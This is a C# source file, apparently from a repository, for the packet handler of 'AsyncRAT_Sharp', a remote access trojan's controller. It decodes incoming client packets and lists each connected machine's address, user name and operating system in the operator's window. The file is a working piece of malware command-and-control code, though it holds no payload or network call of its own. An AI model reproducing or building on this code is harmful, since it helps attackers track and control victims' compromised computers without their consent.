2019-01-18 20:02:02 -08:00

35 lines
1.4 KiB
C#

using AsyncRAT_Sharp.Sockets;
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
namespace AsyncRAT_Sharp.Handle_Packet
{
class HandlePacket
{
public static Form1 Form;
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
public static void Read(Clients Client, byte[] Data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
if (Form.listView1.InvokeRequired)
Form.listView1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] {Client, Data});
else
{
Client.LV = new ListViewItem();
Client.LV.Tag = Client;
Client.LV.Text = string.Concat(Client.client.RemoteEndPoint.ToString());
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Form.listView1.Items.Insert(0, Client.LV);
Form.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
break;
}
}
}
}